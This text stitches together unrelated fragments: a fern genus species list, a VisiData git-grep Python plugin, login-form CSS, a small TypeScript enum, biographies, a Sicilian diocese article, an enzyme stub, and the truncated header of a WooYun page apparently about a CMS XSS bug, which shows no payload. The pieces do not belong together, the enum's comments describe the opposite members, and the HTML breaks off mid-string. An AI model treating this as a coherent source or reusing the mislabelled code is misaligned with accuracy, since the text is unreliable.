Alsophila salletii (Tardieu & C.Chr.) R.M.Tryon (syn. Cyathea salletii)
Alsophila salvinii Hook. (syn. Cyathea salvinii)
Alsophila scandens Brause (syn. Cyathea scandens)
Alsophila schlechteri Brause (syn. Cyathea schlechteri)
Alsophila schliebenii Reimers (syn. Cyathea fadenii)
Alsophila sechellarum (Mett.) R.M.Tryon (syn. Cyathea sechellarum)
Alsophila semiamplectens (Holttum) R.M.Tryon (syn. Cyathea semiamplectens)
Alsophila serratifolia (Baker) R.M.Tryon (syn. Cyathea serratifolia)
Alsophila setosa Kaulf. (syn. Cyathea setosa)
Alsophila setulosa (Copel.) R.M.Tryon (syn. Cyathea setulosa)
Alsophila similis (C.Chr.) R.M.Tryon
Alsophila simulans Baker
Alsophila sinuata (Hook. & Grev.) R.M.Tryon (syn. Cyathea sinuata)
Alsophila smithii (Hook.f.) R.M.Tryon (syn. Cyathea smithii)
Alsophila societarum (Baker) Christenh.
Alsophila solomonensis (Holttum) R.M.Tryon (syn. Cyathea solomonensis)
Alsophila speciosa C.Presl (syns Alsophila caudata, Cyathea caudata)
Alsophila spinulosa (Wall. ex Hook.) R.M.Tryon (syn. Cyathea spinulosa)
Alsophila stelligera (Holttum) R.M.Tryon
Alsophila sternbergii (Pohl) D.S.Conant
Alsophila stokesii (E.Brown) R.M.Tryon
Alsophila subdubia Alderw. (syn. Cyathea subdubia)
Alsophila subtripinnata (Holttum) R.M.Tryon (syn. Cyathea subtripinnata)
Alsophila sumatrana (Baker) R.M.Tryon (syn. Cyathea sumatrana)
Alsophila sundueana Lehnert
Alsophila suprasora Panigrahi & Sarn.Singh
Alsophila tanzaniana R.M.Tryon (syn. Cyathea schliebenii)
Alsophila telefominensis Lehnert
Alsophila tenuis Brause (syn. Cyathea tenuicaulis)
Alsophila ternatea (Alderw.) R.M.Tryon (syn. Cyathea ternatea)
Alsophila thomsonii (Baker) R.M.Tryon (syn. Cyathea thomsonii)
Alsophila tryoniana (Gastony) D.S.Conant (syn. Cyathea tryoniana)
Alsophila tsaratananensis (C.Chr.) R.M.Tryon
Alsophila tsilotsilensis (Tardieu) R.M.Tryon (syn. Cyathea tsilotsilensis)
Alsophila tussacii (Desv.) D.S.Conant (syn. Cyathea tussacii)
Alsophila tuyamae (H.Ohba) Nakaike
Alsophila urbani (Brause) R.M.Tryon (syn. Cyathea urbanii)
Alsophila valdesquamata (Janssen & Rakotondr.) Christenh.
Alsophila vandeusenii (Holttum) R.M.Tryon (syn. Cyathea vandeusenii)
Alsophila veitchii Baker
Alsophila vieillardii (Mett.) R.M.Tryon (syn. Cyathea vieillardii)
Alsophila viguieri (Tardieu) R.M.Tryon
Alsophila walkerae (Hook.) J.Sm. (syn. Cyathea walkerae)
Alsophila weidenbrueckii Lehnert
Alsophila welwitschii (Hook.) R.M.Tryon (syn. Cyathea welwitschii)
Alsophila wengiensis Brause (syn. Cyathea wengiensis)
Alsophila woodwardioides (Kaulf.) D.S.Conant (syn. Cyathea woodwardioides)
Alsophila woollsiana F.Muell. (syn. Cyathea woollsiana)
Alsophila zakamenensis (Tardieu) R.M.Tryon (syn. Cyathea zakamenensis
Distribution and habitat
The genus Alsophila is native in tropical and subtropical areas, from North and South America, through Africa, Madagascar and tropical Asia, to eastern Australasia as far south as the subantarctic Auckland Islands. It is found in moist montane forests, on slopes or in ravines, forming part of the lower canopy, middle understorey, or ground layers.
Cultivation
Alsophila species all require frost-free or virtually frost-free, permanently moist, shaded conditions. Those which have been grown in Europe outside their native habitat include A. australis, A. cunninghamii, A. dealbata, A. leichhardtiana and A. rebeccae. Other species are grown in their native regions. In Australia, A. australis is commonly grown and is a robust species, capable of tolerating some sun if kept in moist soil. A. dregei is a popular garden plant in South Africa, with plants being collected for use from the wild sufficiently often to cause it to become extinct in some areas.
Culture
The silver fern, Alsophila dealbata has become a widely recognised symbol of New Zealand, although it is not an official national symbol.
In the 1971 comedy film A New Leaf, Henrietta Lowell (played by Elaine May) is a botanist whose dream is to classify a new species of fern. On a honeymoon trip, she indeed discovers a new species which she names Alsophila grahami after her new husband Henry Graham (Walter Matthau). She describes the plant as having a vestigial indusium.
References
Fern genera |
```python
from visidata import vd, VisiData, Path, ColumnItem, ESC
from .gitsheet import GitSheet
@VisiData.api
def git_grep(vd, p, args):
return GitGrep(args[0], regex=args[0], source=p)
class GitGrep(GitSheet):
rowtype = 'results' # rowdef: list(file, line, line_contents)
guide = '''
# vgit grep
Each row on this sheet is a line matching the regex pattern `{sheet.regex}` in the tracked files of the current directory.
- `Ctrl+O` to open _{sheet.cursorRow[0]}:{sheet.cursorRow[1]}_ in the system editor; saved changes will be reflected automatically.
'''
columns = [
ColumnItem('file', 0, help='filename of the match'),
ColumnItem('line', 1, help='line number within file'),
ColumnItem('text', 2, width=120, help='matching line of text'),
]
nKeys = 2
def iterload(self):
tmp = (self.topRowIndex, self.cursorRowIndex)
for line in self.git_lines('grep', '--no-color', '-z', '--line-number', '--ignore-case', self.regex):
# line = line.replace(ESC+'[1;31m', '[:green]')
# line = line.replace(ESC+'[m', '[/]')
yield list(line.split('\0'))
self.topRowIndex, self.cursorRowIndex = tmp
GitSheet.addCommand('g/', 'git-grep', 'rex=inputRegex("git grep: "); vd.push(GitGrep(rex, regex=rex, source=sheet))', 'find in all files in this repo')
GitGrep.addCommand('Ctrl+O', 'sysopen-row', 'launchExternalEditorPath(Path(cursorRow[0]), linenum=cursorRow[1]); reload()', 'open this file in $EDITOR')
GitGrep.bindkey('Enter', 'sysopen-row')
``` |
```css
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #fff;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
}
.form-signin-heading {
margin: 0 0 15px;
font-size: 18px;
font-weight: 400;
color: #555;
}
.form-signin .checkbox {
margin-bottom: 10px;
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: 10px;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
}
.card {
width: 304px;
padding: 20px 25px 30px;
margin: 0 auto 25px;
background-color: #f7f7f7;
border-radius: 2px;
-webkit-box-shadow: 0 2px 2px rgba(0, 0, 0, .3);
box-shadow: 0 2px 2px rgba(0, 0, 0, .3);
}
.card-signin {
width: 354px;
padding: 40px;
}
.card-signin .profile-img {
display: block;
width: 96px;
height: 96px;
margin: 0 auto 10px;
}
``` |
```xml
export enum BlockMode {
/* store rendered html into blocks */
OUTPUT,
/* output rendered html directly */
STORE
}
``` |
Professor Andy Long FREng is the Vice-Chancellor and Chief Executive of Northumbria University, the fifth person to hold this role in the institution’s history.
Prior to becoming Vice-Chancellor, he was a member of staff at the University of Nottingham, where he served as Provost and Deputy Vice-Chancellor. Previously he was Dean and then Pro Vice-Chancellor for the Faculty of Engineering from 2011 to 2018.
Research areas and career
Professor Long’s research interests are on the design and manufacture of polymer composites for demanding applications particularly in the aerospace, automotive and energy sectors.
Professor Long was also Chair of the Executive Management Group for Midlands Innovation a partnership between Central England universities
He has over 350 publications including around 130 refereed journal papers, co-authored/edited three textbooks on polymer composites, supervised over 30 successful PhD students, and been principal investigator for research grants totalling around £33million.
Awards
In 2006, Professor Long was awarded the Institute of Materials, Minerals and Mining (IoMMM) Rosenhain Medal in recognition of distinguished achievement in materials science.
In 2020, he was awarded the IoMMM Leslie Holliday Prize for significant contribution to the field of composite materials.
In 2019, he was elected Fellow of the Royal Academy of Engineering. In 2014 he was inducted as a SAMPE Fellow for significant contributions in materials and process engineering technology.
References
Year of birth missing (living people)
Living people |
Janet Hale is an American educational consultant / trainer and national staff development specialist in Curriculum Mapping, Standards Literacy, and Documenting Learning who provides consulting, coaching, and professional learning opportunities.
Biography
She specializes in curriculum mapping; curriculum design using various models and frameworks; standards literacy and alignment; and documenting learning. Janet assists schools, districts, dioceses, higher-ed programs, and educational organizations and businesses with their curriculum, instruction, and assessment needs and improvement plans.
Hale attended Northern Arizona University in Flagstaff, Arizona, US, gaining a Bachelor's Degree in education, majoring in elementary education and special education. Her Masters of Arts degree, also from Northern Arizona University, in educational leadership and curriculum development; plus teaching in elementary, secondary, and special education classrooms, enable Janet to provide insights and information conducive to making decisions that improve curriculum, instruction, and assessment practices for all learners—including teachers and administrators.
Janet has written two professional curriculum mapping books: A Guide to Curriculum Mapping: Planning, Implementing, and Sustaining the Process, dedicated to understanding the complexities of curriculum mapping, and An Educational Leader's Guide to Curriculum Mapping: Creating and Sustaining Collaborative Cultures. Both books are published by Corwin Press.
Her third professional book, Upgrade Your Curriculum: Practical Ways to Transform Learning and Engage Students, is published by ASCD.
And her latest professional book, A Guide to Documenting Learning: Making Thinking Visible, Meaningful, Sharable, and Amplified, also published by Corwin Press, is focused on a contemporary approach to students' "owning their own learning" through documenting for learning (while learning), rather than of learning (after learning has been completed).
References
Sources
Janet Hale's Website Curriculum Decisions website
American educational theorists
Schoolteachers from Arizona
American women educators
Living people
Northern Arizona University alumni
Year of birth missing (living people)
21st-century American women |
Rodrigo Antonio Pérez Albornoz (born 19 August 1973) is a former Chilean footballer who played as left back. His last professional club was Deportes Iquique.
Club career
Pérez began his football career at his professional hometown club O'Higgins, making his professional debut aged 19, being promoted to the first adult team by the coach Manuel Pellegrini in the 1993 season, then moving to Santiago Wanderers in 1997, after three successful seasons at Rancagua. He has spent the most time in Chile playing for Cobreloa, where he was capped in 137 matches and scored 15 goals. He also spent time with the Peruvian club Alianza Lima.
International career
He made his debut for the Chilean national squad in 1995.
Coaching career
He began his career as the coach of the team of (National Football Institute) and then he became the manager of Cobreloa in 2018 in the Primera B de Chile. He arrived to the mining club along with the former players Nelson Tapia and Eduardo Fournier. Next, he coached C.D. Rancagua Sur in the Tercera A, the fourth level of the Chilean football system league, from 2019 to 2020.
Honours
Club
Cobreloa
Primera División de Chile (3): 2003 Apertura, 2003 Clausura, 2004 Clausura
Alianza Lima
Peruvian Primera División: 2006 Descentralizado
Deportes Iquique
Primera B: 2010
Copa Chile: 2010
International
Chile
Canada Cup: 1995
References
External links
Rodrigo Pérez at Football-Lineups
1973 births
Living people
Footballers from Rancagua
Chilean men's footballers
Chile men's international footballers
Chilean expatriate men's footballers
O'Higgins F.C. footballers
Santiago Wanderers footballers
C.D. Cobreloa footballers
C.F. Pachuca players
Club Alianza Lima footballers
Unión Española footballers
Deportes Concepción (Chile) footballers
Deportes Iquique footballers
Chilean Primera División players
Liga MX players
Peruvian Primera División players
Primera B de Chile players
Chilean expatriate sportspeople in Mexico
Chilean expatriate sportspeople in Peru
Expatriate men's footballers in Mexico
Expatriate men's footballers in Peru
1995 Copa América players
2004 Copa América players
Men's association football defenders
Chilean football managers
C.D. Cobreloa managers
Primera B de Chile managers |
123.Net Inc., commonly referred to as 123NET, is a telecommunications company based in Southfield, Michigan, in the United States. It provides a range of services including telephone, internet, and colocation. As one of the early Competitive Local Exchange Carriers, 123NET established interconnections with AT&T and Verizon to offer services through the public switched telephone network. The company operates independently as a privately held provider, serving the midwestern United States.
In 2014, 123NET launched the Detroit Internet Exchange.
Acquisitions
123NET has acquired the assets or purchased the networks of the following companies:
T2 Communications of Holland, MI in April 2015.
Michigan Network Services in October 2014.
MICA.Net in July 2014.
West Michigan Internet Services (WMIS) in January 2011.
2020 Communications in February 2010 (Wireless Washtenaw, with some assets later sold to Air Advantage).
Waypoint Telecommunications and Waypoint Fiber Networks in July 2010 (Acquisition of fiber assets).
Zing Networks (Acquisition of wireless assets in September 2009).
References
External links
123NET Website
Telecommunications companies established in 1995
Telecommunications companies of the United States
Companies based in Southfield, Michigan
1995 establishments in Michigan
American companies established in 1995
Internet service providers
Technology companies established in 1995
Telecommunication services |
The Diocese of Caltagirone () is a Latin Church diocese of the Catholic Church situated in the east of Sicily. It is a suffragan of the archdiocese of Catania. Since 20 March 2012 the bishop is Calogero Peri.
The diocese consists of fifteen towns in the province of Catania: Caltagirone, Castel di Judica, Grammichele, Mazzarrone, San Michele di Ganzaria, Raddusa, Ramacca, Mirabella Imbaccari, Scordia, Militello in Val di Catania, Palagonia, Mineo, Licodia Eubea, San Cono and Vizzini. The main town, where is St. Julian's cathedral church, is Caltagirone.
The territory is subdivided into 57 parish churches.
History
The diocese was created on 12 September 1817 with the papal bull Romanus Pontifex of Pope Pius VII, and the permission of the King of Naples which was registered on 20 February 1818. Originally it was a suffragan of the diocese of Monreale, but from 20 May 1844 it entered in the ecclesiastic province of Siracusa. From 2 December 2000, with the Pope John Paul II's papal bull, Ad maiori consulendum, the diocese became a suffragan of archdiocese of Catania. On 20 March 2010, the 15th bishop of Caltagirone, Calogero Peri, OFMCap, was the first bishop to be consecrated in St. Julian's cathedral of Caltagirone.
Bishops
Gaetano Maria Giuseppe Benedetto Placido Vincenzo Trigona e Parisi (21 December 1818 – 15 April 1833)
Benedetto Denti, OSB (15 March 1833 – 3 August 1853)
Giuseppe Maria Maniscalco, OFM (17 April 1854 – 10 April 1855)
Luigi Natoli (15 March 1858 – 22 February 1867)
Antonio Morana (23 February 1872 – 18 August 1879)
Giovanni Battista Bongiorno † (22 September 1879 – 14 March 1887)
Saverio Gerbino (14 March 1887 – 16 March 1898)
Damaso Pio De Bono (28 November 1898 – 17 December 1925)
Giovanni Bargiggia (14 March 1927 – 6 July 1937)
Pietro Capizzi (12 August 1937 – 11 November 1960)
Francesco Fasola, OSSGCN (11 November 1960 – 25 June 1963)
Carmelo Canzonieri (30 July 1963 – 8 January 1983)
Vittorio Luigi Mondello (30 July 1983 – 28 July 1990)
Vincenzo Manzella (30 April 1991 – 17 September 2009)
Calogero Peri, OFMCap, from 30 January 2010
See also
Luigi Natoli (bishop)
Notes
External links
Home page
Caltagirone
Religious organizations established in 1816
Caltagirone
Diocese
1816 establishments in the Kingdom of the Two Sicilies
1816 establishments in Italy |
Deng Zixin (; born 1957) is a Chinese microbiologist and Professor of Microbiology at Shanghai Jiao Tong University.
Born in Hubei, China, he graduated from Huazhong Agricultural University with a BSc in microbiology in 1982 and completed his PhD on the genetics of Streptomyces at the University of East Anglia in 1987. He was made a Member of the Chinese Academy of Sciences in 2005, a Fellow of The World Academy of Sciences in 2006, and a Fellow of the American Academy of Microbiology in 2010.
References
1957 births
Living people
Alumni of the University of East Anglia
Biologists from Hubei
Chinese microbiologists
Educators from Hubei
Members of the Chinese Academy of Sciences
People from Shiyan
Academic staff of Shanghai Jiao Tong University
TWAS fellows
Academic staff of Wuhan University
Fellows of the American Academy of Microbiology |
```shell
Adding a remote repository
Using tags for version control
What is a checksum?
How to set your username and email
Recover lost code
``` |
Propionate kinase (, PduW, TdcD, propionate/acetate kinase) is an enzyme with systematic name ATP:propanoate phosphotransferase. This enzyme catalyses the following chemical reaction
ATP + propanoate ADP + propanoyl phosphate
This enzyme requires Mg2+.
References
External links
EC 2.7.2 |
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "path_to_url">
<html xmlns="path_to_url">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta http-equiv="x-ua-compatible" content="ie=7"/>
<title> CMSXSS | WooYun-2014-79537 | WooYun.org </title>
<meta name="author" content="80sec"/>
<meta name="copyright" content="path_to_url"/>
<meta name="keywords" content=",,XSS,wooyun,,web,,,,,"/>
<meta name="description" content="CMSXSS|WooYun,,,"/>
<link rel="icon" href="path_to_url" sizes="32x32" />
<link href="../css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
<script src="path_to_url" type="text/javascript"></script>
</head>
<body id="bugDetail">
<style>
#myBugListTab { position:relative; display:inline; border:none }
#myBugList { position:absolute; display:none; margin-left:309px; * margin-left:-60px; * margin-top:18px ; border:#c0c0c0 1px solid; padding:2px 7px; background:#FFF }
#myBugList li { text-align:left }
</style>
<script type="text/javascript">
$(document).ready(function(){
if ( $("#__cz_push_d_object_box__") ) {
$("script[src^='path_to_url").attr("src"," ").remove();
$("#__cz_push_d_object_box__").empty().remove();
$("a[id^='__czUnion_a']").attr("href","#").remove();
}
if ( $("#ooDiv") ) {
$("#ooDiv").empty().parent("div").remove();
}
$("#myBugListTab").toggle(
function(){
$("#myBugList").css("display","block");
},
function(){
$("#myBugList").css("display","none");
}
);
if ( $(window).scrollTop() > 120 ) {
$("#back-to-top").fadeIn(300);
} else {
$("#back-to-top").fadeOut(300);
}
$(window).scroll(function(){
if ( $(window).scrollTop() > 120 ) {
$("#back-to-top").fadeIn(300);
} else {
$("#back-to-top").fadeOut(300);
}
});
$("#back-to-top a").click(function() {
$('body,html').animate({scrollTop:0},300);
return false;
});
$("#go-to-comment a").click(function() {
var t = $("#replys").offset().top - 52;
$('body,html').animate({scrollTop:t},300);
return false;
});
});
function gofeedback(){
var bugid=$("#fbid").val();
if(bugid){
var url="/feedback.php?bugid="+bugid;
}else{
var url="/feedback.php"
}
window.open(url);
}
</script>
<div class="go-to-wrapper">
<ul class="go-to">
<li id="go-to-comment" title=""><a href="wooyun-2014-079537#"></a></li>
<li id="go-to-feedback" title=""><a href="javascript:void(0)" onclick="gofeedback()"></a></li>
<li id="back-to-top" title=""><a href="wooyun-2014-079537#"></a></li>
</ul>
</div>
<div class="banner">
<div class="logo">
<h1>WooYun.org</h1>
<div class="weibo"><iframe width="136" height="24" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" scrolling="no" border="0" src="path_to_url"></iframe>
</div>
<div class="wxewm">
<a class="ewmthumb" href="javascript:void(0)"><span><img src="path_to_url"width="220" border="0"></span><img src="path_to_url"width="22" border="0"></a>
</div>
</div>
<div class="login">
<a href="path_to_url"></a> | <a href="path_to_url" class="reg"></a>
</div>
</div>
<div class="nav" id="nav_sc">
<ul>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li class="new"><a href="path_to_url"></a></li>
<!--li><a href="/corp_actions"></a></li-->
<!--<li><a target='_blank' href="path_to_url"></a></li>-->
<li><a href="path_to_url" target="_blank" style="color:rgb(246,172,110);font-size:14px;font-weight:blod"></a></li>
<!--li><a href="/job/"></a></li-->
<li><a href="path_to_url" target="_blank"></a></li>
<li><a href="path_to_url" target="_blank"></a></li>
<li><a href="path_to_url"></a></li>
</ul>
<form action="path_to_url" method="post" id="searchbox">
<input type="text" name="q" id="search_input" />
<input type="submit" value="" id="search_button" />
</form>
</div>
<div class="bread" style="padding-top: 4px;">
<div style="float:left"><a href="path_to_url">WooYun</a> >> <a href="wooyun-2014-079537#"></a></div>
</div>
<script language="javascript">
var _LANGJS = {"COMMENT_LIKE_SELF":"\u4e0d\u80fd\u81ea\u5df1\u8d5e\u81ea\u5df1\u7684\u8bc4\u8bba","COMMENT_LIKED":"\u5df2\u8d5e\u6b64\u8bc4\u8bba","COMMENT_NOT":"\u6b64\u8bc4\u8bba\u4e0d\u5b58\u5728","COMMENT_FILL":"\u8bf7\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","COMMENT_STAT":"\u8bc4\u8bba\u4e0d\u80fd\u4e3a\u7a7a","COMMENT_LOGIN":"\u767b\u9646\u540e\u624d\u80fd\u8bc4\u8bba","COMMENT_GOOD_DONE":"\u5df2\u8d5e\u8fc7\u6b64\u6761\u8bc4\u8bba","COMMENT_SELF":"\u4e0d\u80fd\u8bc4\u4ef7\u81ea\u5df1\u53d1\u5e03\u7684\u8bc4\u8bba","COMMENT_CLICK_FILL":"\u70b9\u51fb\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","FAIL":"\u64cd\u4f5c\u5931\u8d25","FAIL_MANAGE":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u4e0e\u7ba1\u7406\u5458\u8054\u7cfb","FAIL_NO_WHITEHATS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u767d\u5e3d\u5b50","FAIL_NO_CORPS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u5382\u5546","BUGS_CORPS_SELECT":"\u9009\u62e9\u5382\u5546(\u53ef\u8f93\u5165\u5173\u952e\u5b57\u641c\u7d22)","BUGS_CORPS_OTHER":"Other\/\u5176\u5b83\u5382\u5546","BUGS_CORPS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u7c7b\u578b","BUGS_CORPS_NAME_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u540d\u79f0","BUGS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u7c7b\u578b\uff0c\u4e71\u9009\u6263\u5206","BUGS_TITLE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u6807\u9898","BUGS_HARMLEVEL_STAT":"\u8be5\u6f0f\u6d1e\u7684\u5371\u5bb3\u7b49\u7ea7","BUGS_DESCRIPTION_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u7b80\u8981\u63cf\u8ff0\uff0c\u53ef\u4ee5\u7b80\u5355\u63cf\u8ff0\u6f0f\u6d1e\u7684\u5371\u5bb3\u548c\u6210\u56e0\uff0c\u4e0d\u8981\u900f\u6f0f\u6f0f\u6d1e\u7684\u7ec6\u8282","BUGS_CONTENT_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u8be6\u7ec6\u63cf\u8ff0\uff0c\u8bf7\u5c3d\u91cf\u591a\u7684\u6df1\u5165\u7ec6\u8282\u4ee5\u65b9\u4fbf\u5bf9\u6f0f\u6d1e\u7684\u7406\u89e3\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_POC_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6982\u5ff5\u6027\u8bc1\u660e\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_PATCH_STAT":"\u5efa\u8bae\u7684\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_TEST_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6807\u51c6\u6d4b\u8bd5\u4ee3\u7801\u4ee5\u66f4\u4e3a\u65b9\u4fbf\u7684\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u6d4b\u8bd5\u548c\u9a8c\u8bc1\uff0c\u6d4b\u8bd5\u4ee3\u7801\u5bf9\u5916\u9ed8\u8ba4\u4e0d\u663e\u793a\uff0c<br\/>\u5176\u4ed6\u767d\u5e3d\u5b50\u652f\u4ed8\u4e4c\u4e91\u5e01\u67e5\u770b\u540e\u4f60\u5c06\u83b7\u5f97\u989d\u5916\u4e4c\u4e91\u5e01\uff0c<br\/>\u540c\u65f6\u4e5f\u5c06\u5728\u4f60\u7684\u4e2a\u4eba\u9875\u9762\u4f53\u73b0\u4f60\u7684\u6d4b\u8bd5\u4ee3\u7801\u7f16\u5199\u80fd\u529b\u3002","BUGS_QUESTION_SELECT":"\u8bf7\u9009\u62e9\u95ee\u9898\u5382\u5546","BUGS_TITLE_NOTICE":"\u6f0f\u6d1e\u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a","BUGS_RANK_NOTICE1":"\u8bf7\u586b\u5199\u81ea\u8bc4Rank","BUGS_RANK_NOTICE2":"\u81ea\u8bc4Rank\u4e3a\u5927\u4e8e0\u7684\u6570\u5b57","BUGS_TYPE_SELECT":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7c7b\u578b","BUGS_TYPE_NOTICE":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u7c7b\u578b","BUGS_HARMLEVEL_SELECT":"\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_NOTICE":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_LOWER":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4f4e \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a1-5","BUGS_HARMLEVEL_MIDDLE":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4e2d \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a5-10","BUGS_HARMLEVEL_HIGH":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u9ad8 \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a10-20","BUGS_AREA_SELECT":"\u8bf7\u9009\u62e9\u5730\u533a\uff01","BUGS_DOMAILS":"\u6f0f\u6d1e\u6240\u5728\u57df\u540d(\u5982qq.com)","BUGS_DOMAIN_FILL":"\u8bf7\u586b\u5199\u57df\u540d\uff01","BUGS_DETAIL_MORE":"\u67e5\u770b\u8be6\u60c5","BUGS_IGNORE_DAYS":"\u8ddd\u6f0f\u6d1e\u5ffd\u7565\u8fd8\u6709","BUGS_CONFIRM_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb","BUGS":"\u6f0f\u6d1e","BUGS_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u5411\u516c\u4f17\u516c\u5f00\u8fd8\u6709","BUGS_IGNORE_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u672a\u786e\u8ba4\u65e0\u5f71\u54cd\u5ffd\u7565\u8fd8\u6709","BUGS_REPAIR_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb\u4fee\u590d\u6f0f\u6d1e","BUGS_HARMLEVEL_REMIND":"\u8bf7\u9009\u62e9\u5371\u5bb3\u7b49\u7ea7","BUGS_RANK_STAT":"rank\u4e3a1-20\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT1":"rank\u4e3a1-5\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT2":"rank\u4e3a5-10\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT3":"rank\u4e3a10-20\u7684\u6b63\u6574\u6570","BUGS_COMPLEMENT_REASON":"\u6dfb\u52a0\u5bf9\u6f0f\u6d1e\u7684\u8865\u5145\u8bf4\u660e\u4ee5\u53ca\u505a\u51fa\u8bc4\u4ef7\u7684\u7406\u7531","BUGS_REPLY_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u56de\u590d","BUGS_IGNORE_CONFIRM":"\u786e\u5b9a\u5ffd\u7565\u6b64\u6f0f\u6d1e\u5417","BUGS_STATUS_NEW_UPDATE":"\u66f4\u6539\u6f0f\u6d1e\u7684\u6700\u65b0\u72b6\u6001","BUGS_STATUS_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u72b6\u6001","BUGS_PUBLIC_ADVANCE":"\u786e\u5b9a\u63d0\u524d\u516c\u5f00\u6b64\u6f0f\u6d1e\u5417","BUGS_COUNT":"\u6f0f\u6d1e\u6570","BUGS_REPLY_HAT":"\u56de\u590d\u6b64\u4eba","BUGS_DELAY_CONFIRM":"\u786e\u5b9a\u8981\u5ef6\u671f\u4e48?","BUGS_DELAY":"\u7533\u8bf7\u5ef6\u671f","BUGS_DELAY_DONE":"\u5df2\u7ecf\u5ef6\u671f","BUGS_RISK_CONFIM":"\u786e\u5b9a\u6b64\u6f0f\u6d1e\u4e3a\u9ad8\u5371\u5417?","BUGS_NULL_EDITE":"\u7559\u7a7a\u8868\u793a\u4e0d\u4fee\u6539","BUGS_DONE_CONFIRM":"\u8be5\u64cd\u4f5c\u6682\u65f6\u4e0d\u53ef\u9006\uff0c\u786e\u5b9a\uff1f","BUGS_UPUBLIC":"\u4f60\u4ece\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_UPUBLIC1":"\u91cc\u53c8\u83b7\u5f97\u4e86","BUGS_PRECHECK":"\u6709\u4eba\u63d0\u524d\u67e5\u770b\u4e86\u4f60\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_PRECHECK_UNPUBLIC":"\u63d0\u524d\u67e5\u770b\u672a\u516c\u5f00\u6f0f\u6d1e","BUGS_NUM":"\u6f0f\u6d1e\u6570\u91cf","RANKAVG":"\u4eba\u5747\u8d21\u732e Rank","CAPTCHA_GET":"\u83b7\u53d6\u9a8c\u8bc1\u7801","CAPTCHA_FILL":"\u8bf7\u8f93\u5165\u56fe\u7247\u4e2d\u7684\u9a8c\u8bc1\u7801","CAPTCHA_NULL":"\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","CAPTCHA_ERROR":"\u9a8c\u8bc1\u7801\u8f93\u5165\u9519\u8bef","CAPTCHA_PHONE_ERROR":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e","CAPTCHA_PHONE_SEND":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u5230\u4f60\u7684\u624b\u673a\u4e0a\u8bf7\u6ce8\u610f\u67e5\u6536","CAPTCHA_SEND_AGAIN":"\u540e\u53ef\u91cd\u53d1","CAPTCHA_SEND_OVER":"\u77ed\u4fe1\u5df2\u53d1\u9001\u6210\u529f,\u9a8c\u8bc1\u7801\u533a\u5206\u5927\u5c0f\u5199","CAPTCHA_PHONE_NO":"\u4e0d\u9700\u8981\u77ed\u4fe1\u9a8c\u8bc1\u7801","CAPTCHA_PHONE_NULL":"\u77ed\u4fe1\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PHONE_TYPE_ERROR":"\u7535\u8bdd\u683c\u5f0f\u4e0d\u5bf9","PHONE_NOTING":"\u7535\u8bdd\u4e0d\u80fd\u4e3a\u7a7a","PHONE_FILL":"\u8bf7\u586b\u5199\u624b\u673a\u53f7","PHONE_CAPTCHA_NOTING":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_NOTING":"\u5bc6\u7801\u4e0d\u80fd